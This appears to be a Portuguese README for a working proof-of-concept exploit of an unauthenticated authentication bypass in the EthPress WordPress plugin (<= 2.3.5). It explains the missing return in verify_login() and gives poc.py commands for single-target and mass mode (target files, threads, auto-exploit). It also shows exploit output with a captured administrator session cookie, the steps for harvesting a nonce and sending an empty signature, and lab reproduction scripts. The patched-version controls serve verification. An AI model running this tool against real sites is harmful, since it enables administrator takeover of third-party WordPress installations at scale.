
Prova de conceito verificada que explora o bypass de autenticação não autenticada do EthPress <= 2.3.5, concedendo uma sessão de administrador do WordPress por meio de um endereço de carteira.
Prova de conceito funcional e verificada para o bypass de autenticação do login por carteira do EthPress, desenvolvida e validada contra o laboratório local X-1.
RAZZ, id de usuário 1, roles=['administrator'])
usando apenas um endereço de carteira público.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) verifica a assinatura da carteira, constrói
um WP_Error quando a verificação falha — e então esquece de retornar:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
A execução continua para o bloco de login, Address::log_in() resolve o endereço
de carteira fornecido pelo atacante para o usuário WordPress proprietário, e
wp_set_auth_cookie() autentica esse usuário. A resposta é
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| Flag | Significado |
|---|---|
-f, --file | arquivo de URLs de destino (uma por linha, comentários com #) para varredura em massa + auto-exploit |
-t, --threads | threads de trabalho concorrentes (padrão 10) |
-o, --output | caminho de saída/log, JSON Lines (padrão cve-2026-19125-results.jsonl) |
-u, --url | URL de destino única (repetível) |
-a, --address | endereço de carteira da vítima vinculado a uma conta WordPress |
-af, --address-file | arquivo de endereços de carteira candidatos |
-k, --private-key | chave privada do atacante em hex (padrão: chave aleatória nova por ataque) |
--timeout | timeout HTTP em segundos (padrão 20) |
--verify-tls | verificar certificados TLS |
-q, --quiet | suprimir linhas de progresso por destino |
requests é a única dependência (pip install requests). Toda a criptografia
Ethereum (Keccak-256, secp256k1, assinatura RFC 6979, recuperação de endereço) é
implementada dentro de poc.py apenas com a biblioteca padrão.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php e ler
ethpressLoginWP.loginNonce. É um wp_create_nonce('ethpress_log_in')
emitido para uma sessão anônima (uid=0) e, portanto, é válido para a
própria chamada AJAX não autenticada do atacante.coinbase enviado. verify2() retorna [false, error] — e a 2.3.5
descarta isso. (Uma assinatura completamente vazia também funciona;
poc.py recorre a isso automaticamente.)/wp-admin/, extrair o
nonce REST da sessão e chamar /wp/v2/users/me?context=edit → o id de usuário
real, login e roles; além de afirmar acesso a quatro telas exclusivas de
administrador.| Teste | Build | Esperado | Observado | Artefato |
|---|---|---|---|---|
| Exploit positivo, endereço de admin vinculado | 2.3.5 | takeover | id=1 RAZZ roles=['administrator'], todas as 4 caps de admin | results.jsonl, evidence/run-positive.log |
| Controle negativo, endereço não vinculado | 2.3.5 | sem sessão | "You have not registered on this site" | results-neg.jsonl |
| Controle corrigido, ambas as primitivas | 2.3.6 | rejeitado | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Reprodução com curl puro, sem ferramentas | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | confirmado |
| Matriz de fronteira de entrada de assinatura | 2.3.5 | misto | 2 primitivas determinísticas; blobs aleatórios ≈50/50 ou HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, endereço não vinculado | 2.3.5 | nova sessão de assinante | usuário 0xAAAA... criado com role subscriber, logado (depois removido) | evidence/results-registration-open.jsonl |
Reproduza qualquer um deles:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update grava exatamente a chave de armazenamento que o próprio
Address::create() do plugin grava (update_user_meta($uid, 'ethpress', $coinbase)),
então a precondição é provisionada da maneira legítima — sem enfraquecimento
artificial do alvo.
Builds de referência para diff ficam fora do diretório de plugins:
../_plugin-reference/ethpress/{vulnerable,latest}.
Trocar versões do plugin no local enquanto o Apache continua em execução deixa o
bytecode compilado antigo no OPcache. O PHP então continua executando os
arquivos da versão anterior; como freemius/start.php:584 da 2.3.6 requer
freemius/require.php → includes/class-fs-hook-snapshot.php (um arquivo que só
existe na 2.3.6), o site retornava HTTP 500 mesmo com a 2.3.5 no disco.
lab-switch-version.sh agora reinicia o wp_app após cada troca e aguarda
/wp-login.php retornar 200. Sempre confirme a versão em execução, não apenas
a que está no disco.
| Código | Significado |
|---|---|
0 | pelo menos um destino foi EXPLOITADO |
1 | executou bem, nenhum destino explorado |
2 | uso incorreto — arquivo de entrada ausente/ilegível, ou nenhum endereço de carteira fornecido |
-a é a única coisa que você precisa acertar